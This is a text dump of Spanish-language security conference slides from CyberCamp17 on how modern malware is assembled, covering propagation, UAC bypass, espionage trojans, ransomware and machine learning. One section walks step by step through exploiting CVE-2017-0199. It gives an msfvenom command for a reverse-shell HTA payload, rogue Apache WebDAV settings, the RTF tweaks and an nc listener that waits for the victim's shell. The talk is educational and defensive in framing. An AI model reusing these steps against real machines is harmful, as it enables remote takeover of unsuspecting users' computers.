anatomía de un malware moderno: cómo de fácil los tipos ... · • la siguiente charla es...
TRANSCRIPT
#CyberCamp17
Anatomía de un malware moderno:
cómo de fácil los tipos malos pueden j**** el
mundo
Fran Ramírez
Nota Legal
• La siguiente charla es totalmente educativa e intentamostrar técnicas de malware orientadas a a laeducación, investigación y prevención.
• No nos hacemos responsables de un mal uso de lastécnicas presentadas en esta charla.
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
2
whoamiIngeniero/Grado en Informática de Sistemas y Grado Superior en ElectrónicaDigital con más de 15 años de experiencia como administrador de sistemas enuna multinacional española, realizando múltiples proyectos internacionales sobretodo en EEUU y Canadá. Desde el año 2017, trabajo como investigador deseguridad informática en Telefónica y ElevenPaths.
Fundador y escritor en el blog geekwww.cyberhades.com (nick: cybercaronte) sobre Seguridad Informática e Historia de la Informática.
Co-autor (junto a @tuxotron) del libro "MicroHistorias: anécdotas y curiosidades de la Informática" de 0xWordy colaborador habitual de la revista One-Hacker.
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
3
En 1997, se necesitaban algunos libros, documentaciónextra y mucho tiempo para programar un malware:
… en 2017 sólo necesitas esto:
www.google.com
... además de muchas horas en BBSes y Fidonetbuscando información …
Los tiempos cambian …
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
4
… y los creadores de malware no son lo que eran…
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
5
Hoy día, cualquiera puede crear un
malware… hoy día, cualquiera puede
crear un malware …
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
6
Todo está en Internet
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
7
Anatomía de un malware moderno¿Cómo pueden entonces los chicos malos ”fastidiar” el mundo?
Simplemente usando un diseño modular, reuniendo “piezas” y conectándolas
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
8
Características de un malware
• Propagación
• Persistencia
• Privilegios
• Espionaje
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
9
Propagación Antecedentes:
Elk Cloner (1981). El primer virus, se propagaba vía floppy disk Blaster (2003). Gusano, vulnerabilidad servicio DCOM RPC Sasser (2004). Gusano, buffer overflow LSASS
EternalBlue (NSA). Vulnerabilidad protocolo SMB catalogada como CVE-2017-0144.
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
10
Propagación
Catch.RTF(Enlace OLE)
Fire.hta(Contiene payload)
Payload (PowerShell)Reverse Shell
Rogue Server
Halt.RTF(Fichero adjunto)
Vulnerabilidad CVE-2017-0199 Afectaba a versiones Office 2007 SP3, 2010 SP2, 2013 SP1 y Office 2016 Se envía un correo con un fichero Word RTF infectado Usa enlaces tipo OLEv2 embebidos para RCE Sólo es necesario abrir el fichero Word RTF Sirve de base para ejecutar otros scripts y tomar el contro de la máquina
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
11
Propagación
– Fichero HTA base ( llamado Fire.hta):
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
12
PropagaciónPayload (shell reverse tcp) creado con msfvenom desde Metasploit
msfvenom -a x64 --platform Windows -p windows/x64/shell_reverse_tcpLHOST=192.168.1.156 LPORT=21747 -f hta-psh
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
13
Propagación– Insertamos el shellcode generado en el fichero HTA Fire.hta:
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
14
Propagación– El siguiente paso es crear un fichero RTF simple (Catch.rtf)– Subimos los dos ficheros, Catch.rtf y Fire.hta al Rogue Server
(Apache). Consideraciones a tener en cuenta en el servidor:• El fichero Catch.rtf tiene que aparecer como un enlace (WebDav):
• Añadir Content-type “application/rtf” en el fichero 000-default.conf y activar Dav:
a2enmod dava2enmod dav_fsa2enmod dav_locka2enmod headersservice apache2 restart
<Directory /var/www/html/ms/> Header set Content-Type "application/rtf”
</Directory> <Directory /> Dav on
</Directory>
Rogue Server Catch.RTF(Enlace OLE)
Fire.hta(Contiene payload)
Catch.RTF(Enlace OLE)
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
15
Propagación– Creamos el fichero Halt.rtf e insertamos el objeto OLE
apuntando con la URL del Rogue Server y al fichero Catch.rtf:
Halt.RTF(Fichero adjunto)
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
16
Propagación– Para hacer que el objeto OLE se active nada más abrirlo,
añadimos “objupdate” en la siguiente ubicación del ficheroHatl.rtf (en nuestro caso lo hemos editado con Notepad++): Halt.RTF
(Fichero adjunto)
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
17
Propagación– Añadimos el contenido de Fire.hta a Catch.rtf:
cat Fire.hta > Catch.rtfCatch.r
tfFire.hta
En el servidor Apache, Cambiamos Content-type “application/rtf” en el fichero 000-default.conf por “application/hta”
Ejecutar el Word, ya sólo nos queda escuchar en el puerto que hemos asignado y esperar al que usuario abra el fichero Word, dándonos acceso a una shell al equipo remoto.
# nc -nlvp 21747
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
18
Propagación Utilizado en campañas masivas de malware Ejemplos de malware que usan CVE-2017-MS0199 como
propagación:□ DRIDEX, troyano bancario (spam)□ FINSPY malware de espionaje (oculto en un manual de espionaje
militar ruso)□ LATENTBOT malware (robo de credenciales, borrado de datos,
control remoto, etc)□ TROJ_CVE20170199.JVU, variante que utiliza PowerPoint
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
19
Propagación
• Twitter no comprueba todas las URLs que se publican• Twitter no comprueba el contenido de la URL o del fichero que vamos a ejecutar en
remoto• Twitter está en todos los dispositivos, no sólo ordenadores• Todo tipo de perfiles de usuarios, técnicos y no técnicos• El número de posibles infecciones se puede medir en millones
¿Y si Twitter es el mayor vector de propagación, incluso más que el email?
https://twittercounter.com/pages/100
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
20
Privilegios UAC bypass. Evitar en Windows el
User Access Control (UAC). Usandovulnerabilidades, ser administradorpartiendo de un usuario normal(grupo Administradores).
Existen herramientas como Win7Elevate y UACme
Fileless bypass UAC. No necesitade un fichero para ejecutarse. VigilaHKCU\Software\Classes
Escalada total (Sin privilegios) Tater/HotPotato.
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
21
Privilegios KEYBASE Malware
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
22
Privilegios La macro embebida arranca una instancia oculta (-W hidden) de
Powershell.exe (vía CMD.exe). Descarga un archivo mi.exe desde un servidor remoto (ridart.ru)
Almacena en %TEMP% un binario pu457.exe La clave HKCU\Software\Classes\mscfile\shell\open\command es añadida
y apunta al binario malicioso Finalmente, desde la macro se invoca al eventvwr.exe. El cual realiza un
query/open de la clave y ejecuta el fichero malicioso
https://isc.sans.edu/forums/diary/Malicious+Office+files+using+fileless+UAC+bypass+to+drop+KEYBASE+malware/22011/
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
23
Privilegios
https://isc.sans.edu/forums/diary/Malicious+Office+files+using+fileless+UAC+bypass+to+drop+KEYBASE+malware/22011/
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
24
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
Privilegios Tengamos claro el concepto: Fileless
25
Privilegios
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
26
Espionaje • RAT Remote Administration Tool. C&C GUI, screenshots,
webcam, etc… Darkcomet• Mariposa botnet. Una de las más grandes botnets para
espiar y extorsionar (además de ataques DoS)
Opciones de Darkcomet C&C
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
27
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
Espionaje • Troyano Zloader
– Fichero de Office– Botnet (para realizar DDOS) y C&C– Solicita activación manual de macros al usuario– Código ofuscado que activa la descarga del payload desde un C&C
28
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
Espionaje • Troyano Zloader (algunos payloads)
– Terdot/Zloader. Troyano bancario. Inyección de código a entidades bancarias.
Activar Macros
Rogue Server
C&C
29
Un malware de moda: rescate (ransom)
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
• Cifrado. La información del dispositivo se cifra (por ejemplo, RSA2048 bit asimétrico) y se pide un rescate por la misma. Cryptolockerfue el primero de los casos más conocidos hasta hoy día. HiddenTear (educación)
C&C (Command & Control).Servidor con un softwareprincipal para gestionar elataque almacenando los datosde los equipos como IP,geolocalización, etc pero sobretodo, la clave criptográficapara descifrar los archivos(que se utilizará como monedade cambio)
30
Dr. Frankenware (o cómo construir tu propio ”monstruo” de Frankenstein)
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
• Propagación. CVE-2017-0199• Persistencia. Fileless• Privilegios. Bypass UAC• Espionaje. Zloader, C&C. • Ransom. Cifrado
+ + + + =31
Pero entonces … ¿cómo de fácil es construir un malware?
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
Github (exploits, ransomware, keyloggers, spyware, trojans…) Franken…ware? VirusTotal (o similares)
32
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
Pero entonces … ¿cómo de fácil es construir un malware?
PoC¿Hay mucho código ’malicioso’ en Github?¿Cualquiera tiene acceso a ello?
Receta:1. Búsqueda palabra clave y lenguaje2. Descargar repositorios encontrados3. Transformar en EXE o dejar en lenguaje4. Subir a VT5. Obtener conclusiones
33
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
Pero entonces … ¿cómo de fácil es construir un malware?
34
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
Pero entonces … ¿cómo de fácil es construir un malware?
35
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
Pero entonces … ¿cómo de fácil es construir un malware?
36
PoC
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
37
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
38
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
PoC
39
DEMO
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
40
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
¿Se detecta lo que hay?
41
Todo está en Internet
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
Esto es sólo el principio … IoT (Mirai botnet) infectaba cámaras IP. DDOS
• Leaks, EternalBlue (NSA)• ¿Cómo proteger a la nueva
sociedad?
42
IA y Machine Learning (ML)
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
• ML para defendernos (análisis de tráfico de red,
buscando anomalías): – Blog 11Paths, redes
más seguras con ML.
• Cazando malware con técnicas de ML. Windows Defender ATP.
43
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
IA y Machine Learning (ML)• Creando malware con técnicas de ML. Aprendizaje reforzado, RL
(Reinforcement Learning)
OpenAI + Gym frameworkpara crear y entrenar agentesIA. Este año en la DEF CON yBlackHat se ha presentado unmalware entrenado en esteentorno.
44
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
IA y Machine Learning (ML)
Breakout (OpenAI)
45
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
IA y Machine Learning (ML)
46
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
IA y Machine Learning (ML)
47
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
48
Gracias por su atención
Anatomía de un malware moderno: cómo de fácil los tipos malos pueden j**** el mundo
Links
https://idletigers.files.wordpress.com/2008/01/lego-bricks-high-resolution.jpghttps://www.bertin-it.com/en/wannacry-cascading-propagation-isolate-your-networks/http://www.todayifoundout.com/index.php/2014/11/news-police-like-estimate-crowd-size-parade-protest-like/https://isc.sans.edu/forums/diary/Malicious+Office+files+using+fileless+UAC+bypass+to+drop+KEYBASE+malware/22011/http://poster.keepcalmandposters.com/default/5542518_i_cant_keep_calm_im_a_computer_engineer.pnghttps://d30y9cdsu7xlg0.cloudfront.net/https://www.buhletxr-infosec.com/2017/04/18/exploiting-cve-2017-0199-complete-guide/
50